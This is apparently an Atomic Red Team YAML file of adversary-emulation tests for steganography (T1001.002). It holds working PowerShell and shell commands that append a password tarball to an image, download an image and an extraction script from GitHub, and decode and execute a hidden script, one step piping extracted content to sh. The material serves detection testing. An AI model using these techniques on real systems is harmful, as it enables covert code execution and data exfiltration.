Embedded Script in Image Execution via Extract-Invoke-PSImage

Raw rule

attack_technique: T1001.002
display_name: "Data Obfuscation via Steganography"
atomic_tests:
  - name: Steganographic Tarball Embedding
    auto_generated_guid: c7921449-8b62-4c4d-8a83-d9281ac0190b
    description: |
      This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
      within an image.
      
      The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
      file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
      file and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball 
      file within the image, utilizing steganography techniques for data obfuscation.
      
      This atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected. 
      By embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.
    supported_platforms:
      - windows
    input_arguments:
      image_file:
        description: Image file which will be downloaded to be used to hide data
        type: path
        default: PathToAtomicsFolder\T1001.002\bin\T1001.002.jpg
      tar_file:
        description: Tarz file containing random passwords
        type: path
        default: $env:PUBLIC\Downloads\T1001.002.tarz
      new_image_file:
        description: new image file ready for extraction
        type: path
        default: $env:PUBLIC\Downloads\T1001.002New.jpg
      passwords_file:
        description: Text file containing random passwords
        type: path
        default: $env:TEMP\random_passwords.txt
    dependency_executor_name: powershell
    dependencies:
    - description: |
        Image file must exist
      prereq_command: |
        if (!(Test-Path "#{image_file}")) {exit 1} else {
        {exit 0}
        }
      get_prereq_command: |
        New-Item -Type Directory (split-path "#{image_file}") -ErrorAction ignore | Out-Null
        Write-Output "Downloading image file..."
        $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/a9617d9fce289909441120a1e0366315c2c5e19d/lime.jpg"
        Invoke-WebRequest -Uri $imageUrl -OutFile "#{image_file}"
    - description: |
        File to hide within tarz file must exist
      prereq_command: |
        if (!(Test-Path "#{passwords_file}")) {exit 1} else {
        {exit 0}
        }
      get_prereq_command: |
        Write-Output "Generating random passwords and saving to file..."
        $passwords = 1..10 | ForEach-Object { -join ((1..12) | ForEach-Object { @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + @('0','1','2','3','4','5','6','7','8','9') + @('!','@','#','$','%','^','&','*','(','(',')','-','=','+','_','[',']','{','}','|',';',';',':',',','<','>','?') | Get-Random }) }
        $passwords | Out-File -FilePath "#{passwords_file}"    
    - description: |
        Tarz file to embed in image must exist 
      prereq_command: |
        if (!(Test-Path "#{tar_file}")) {exit 1} else {
        {exit 0}
        }
      get_prereq_command: |  
        Write-Output "Generating tarz file..."
        tar -cvf "#{tar_file}" "#{passwords_file}"
    executor:
      name: powershell
      elevation_required: true
      command: |
        Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte
      cleanup_command: |
        Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
        Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore

  
  - name: Embedded Script in Image Execution via Extract-Invoke-PSImage
    auto_generated_guid: 04bb8e3d-1670-46ab-a3f1-5cee64da29b6
    description: |
      This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. 
      The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden 
      within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.
      
      The test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden 
      PowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a 
      separate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed.

      In the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This
      is done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file. 
    supported_platforms:
      - windows
    input_arguments:
      image_file:
        description: Malicious Image file which will be downloaded
        type: path
        default: PathToAtomicsFolder\T1001.002\bin\evil_kitten.jpg
      psimage_script:
        description: Extract-Invoke-PSImage Script downloaded
        type: path
        default: PathToAtomicsFolder\ExternalPayloads\Extract-Invoke-PSImage.ps1
    dependency_executor_name: powershell
    dependencies:
    - description: |
        Image file must exist
      prereq_command: |
        if (!(Test-Path "#{image_file}")) {exit 1} else {
        {exit 0}
        }
      get_prereq_command: |
        New-Item -Type Directory (split-path "#{image_file}") -ErrorAction Ignore | Out-Null
        Write-Output "Downloading image file..."
        $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/f73e7686cdd848ed06e63af07f6f1a5e72de6320/evil_kitten.jpg"
        Invoke-WebRequest -Uri $imageUrl -OutFile #{image_file}
    - description: |
        Extract-Invoke-PSImage must exist
      prereq_command: |
        if (!(Test-Path "#{psimage_script}")) {exit 1} else {
        {exit 0}
        }
      get_prereq_command: |
        New-Item -Path "PathToAtomicsFolder\ExternalPayloads\" -ItemType Directory -Force | Out-Null
        Write-Output "Downloading Extract-Invoke-PSImage.ps1 script..."
        $scriptUrl = "https://github.com/raghavsingh7/Extract-Invoke-PSImage/raw/7d8c165d2f9bfe9c3965181079b7c82e03168ce1/Extract-Invoke-PSImage.ps1"
        Invoke-WebRequest -Uri $scriptUrl -OutFile #{psimage_script}
    executor:
      name: powershell
      elevation_required: true
      command: |
        cd "PathToAtomicsFolder\ExternalPayloads\"
        Import-Module .\Extract-Invoke-PSImage.ps1
        $extractedScript=Extract-Invoke-PSImage -Image "#{image_file}" -Out "$HOME\result.ps1"
        $scriptContent = Get-Content "$HOME\result.ps1" -Raw
        $base64Pattern = "(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])"
        $base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }
        $base64Strings | Set-Content "$HOME\decoded.ps1"
        $decodedContent = Get-Content "$HOME\decoded.ps1" -Raw
        $decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))
        $textPattern = '^.+'  
        $textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }
        $scriptPath = "$HOME\textExtraction.ps1"
        $textMatches -join '' | Set-Content -Path $scriptPath
        . "$HOME\textExtraction.ps1"
      cleanup_command: |
        Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
        Remove-Item -Path "$HOME\result.ps1" -Force -ErrorAction Ignore 
        Remove-Item -Path "$HOME\textExtraction.ps1" -Force -ErrorAction Ignore
        Remove-Item -Path "$HOME\decoded.ps1" -Force -ErrorAction Ignore        

  - name: Execute Embedded Script in Image via Steganography
    auto_generated_guid: 4ff61684-ad91-405c-9fbc-048354ff1d07
    description: This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.
    supported_platforms:
    - linux
    input_arguments:
      script:
        description: Shell Script file to be embedded and executed
        type: String
        default: PathToAtomicsFolder/script.sh
      evil_image:
        description: The modified image with embedded script
        type: String
        default: PathToAtomicsFolder/evil_image.jpg
      image:
        description: Image file to be embedded
        type: String
        default: PathToAtomicsFolder/image.jpg
    executor:
      command: cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh
      cleanup_command: rm "#{evil_image}"
      name: sh
      elevation_required: false